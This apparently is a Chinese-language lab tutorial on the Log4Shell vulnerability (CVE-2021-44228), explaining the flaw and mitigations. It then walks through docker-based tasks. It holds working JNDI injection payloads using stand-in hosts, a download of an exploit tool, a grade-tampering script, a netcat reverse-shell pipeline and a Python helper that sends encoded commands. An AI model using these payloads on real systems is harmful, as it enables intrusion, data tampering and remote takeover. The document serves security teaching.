2021 年底資安界最大的新聞莫過於 Log4j 的漏洞,編號為 CVE-2021-44228,又被稱為 Log4Shell,在 CVSS 漏洞評分系統中被評判為最嚴重等級的 10 分,也被認為是近年來繼 Heartbleed、ShellShock 最重大的漏洞。有人甚至形容它為「核彈級漏洞」,可見這個漏洞的影響程度之深遠。本次專題針對 CVE-2021-44228 進行分析,並且配合 lab 實作。
Logfile(紀錄檔案)是一個記錄了發生在執行中的作業系統或軟體中的事件的檔案,或者記錄了在網路聊天軟體的使用者之間傳送的訊息。許多作業系統、軟體框架和程式都包含紀錄檔系統。Java 有一個很好用的 log 套件,就叫做 Log4j。這個套件是隸屬於 Apache 軟體基金會,因此全名又叫做 Apache Log4j。
Log4j 是一個非常好用的工具,它廣泛地被 Java 程式使用。很多時候軟體工程師會需要將一些執行程式的資料寫入記錄檔中,或是寫入其他的資料庫以供後續使用。這就是 Log4j 的用途,它可以從某個地方接受一個字串 (例如登入畫面上輸入的使用者 ID),然後將字串寫到另一個地方 (例如認證流程的資料輸入欄位)。除了基本的複製/貼上,Log4j 還可以查看並解讀字串的內容。而解讀就是一個危險的動作,因為除非程式先將字串處理乾淨,否則在解讀時很容易發生問題。Log4j 並不會先將字串處理乾淨再解讀,因此攻擊者有機會進行注入攻擊(injection)。
CVE-2021-44228 是一個重大的漏洞,因為它讓 java server 可以被未經身份驗證的攻擊者執行 RCE(Remote Code Execution,遠端執行程式碼攻擊)。該漏洞源於 log4j 如何處理日誌訊息。如果攻擊者發送處理過的訊息(包含類似 ${jndi:ldap://rogueldapserver.com/a} 的字符串),這可能會導致加載 external code class 或 message lookup 並執行該程式,從而導致到 RCE 發生。
以下是 RCE 的基本流程。
- Attacker 發送帶有注入攻擊的請求到 Vulnerable Server。例如:發送 http request
$ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
- 送進去的字串會被傳給 log4j 做 logging 紀錄。同時,Log4j 也會收到 ${jndi:ldap://evil.xo/x}
- Log4j 查看並解讀字串的內容,然後 JNDI (Java命名和目錄介面)詢問 LDAP server。LDNP 是通過IP協定提供存取控制和維護分散式資訊的 directory 的網路協定。
- LDAP Server 是一個惡意 server,收到 JNDI Query 後它會解析被注入的內容,然後回覆給 JNDI 需要的 directory,其中包含惡意的 java class 或是指令。
- Vulnerable Server 執行 JNDI 收到的回覆,攻擊者注入成功。
- 使用最新版的 Log4j 來重新建立程式套件 (目前的版本為 2.17.xx),此外也請查看一下 Apache Foundation 網站上的最新修正資訊。
- 架設 WAF(Web application firewall)定義入侵規則,過濾 log4j 的輸入字串,但是這比較是治標不治本的方法,攻擊者有機會隱藏字串,例如使用 base64 加密來躲避文字掃描偵測。
- 暫時停用 log 功能,直到修正或
- 更新程式碼為止。您可能必須將所有呼叫到 Log4j 的地方都標成註解,所以應用程式可能會失去某些功能,例如:無法再將某使用者的訊息傳送給另一名使用者。順便一提,這就是當初這個漏洞被發現的原因:有 Minecraft 玩家發現,如果他們在聊天方塊中貼入 Log4j 的指令,這些訊息會被直接當成指令來執行,而非當成訊息傳送。
請先下載 SEED Ubuntu 20.04 VM,此 VM 提供安裝好的 docker 環境。Download
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
# Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
$ dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> # Alias for: docker exec -it <id> /bin/bash
# The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#
為了簡化步驟,所有 server 均在同一個 LAN 之下
在這個 Task 裡使用者可以熟悉一下 log4j
是如何運作的。使用者可以使用 X-Api-Version
header 去使用 log4j 紀錄 log
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: <version-number>'
如果 Server 有正確解析到你發送的 request,他會回傳一個 Hello World!
請在報告上記錄 Server 回傳的結果跟 Server 是否有正確解析 request 並記錄 log
在 2013 年的時候,Log4j 套件新增了「JNDILookup 外掛程式」,允許開發人員利用 JNDI 結合 LDAP 的方式取得其他外部 JNDITutorial 的 Java 資料物件
接下來我們要用剛剛使用的 log4j
結合 JNDIExploit,讓 Server 執行我們想讓他執行的命令
# <> 是使用者需要修改的內容
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'
請在 /tmp
資料夾裡建立一個 secret.txt 檔案,並且進入 server 裡確認是否檔案有建立成功
Note-1: <content> 是不能直接放指令的,需要做轉換
Note-2: 因為vulnerable-app
沒有/bin/bash
這個 shell 可以使用,如果要確認檔案的話可以使用 docker 指令
$ docker exec vulnerable-app ls /tmp
經過前面的 task,我們發現 vulnerable-app
會執行任何攻擊者的 base64
指令,如果攻擊者想做更複雜的操作,他可以傳送shell script
攻擊腳本讓 server 執行。
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html
上面是一個修改網站成績的腳本,成績存放在index.html
內,請先成功執行它並且指出不一樣的地方。然後修改這個腳本,使得成績檔案更改成你想要的數字。
Note-1: 方便修改檔案的方法還有
sed
Note-2: 因為vulnerable-app
不能接受使用者透過瀏覽器去查看 /var/www,如果要確認檔案的話可以使用 docker 指令
$ docker exec vulnerable-app cat /var/www/index.html
經過前面的 Task 我們已經可以把我們想執行的指令轉成 base64
讓 server 去執行了,為了完全掌控 server,可以利用指令建立一個 reverse shell
# <> 是使用者需要修改的內容
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>
為了方便進行,我們提供一個 python 腳本放便大家進行攻擊
import os
import sys
import base64
import requests
ldap = '###' # user modify
server_ip = '###' # user modify
cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
$ ./script '<command>'
Note:
vulnerable-app
沒有/bin/bash
跟/dev/tcp
,所以無法使用普通 reverse shell 的方式,不過我們可以建立一個 pipe 的檔案對它進行讀寫
$ mkfifo <file-name>
https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641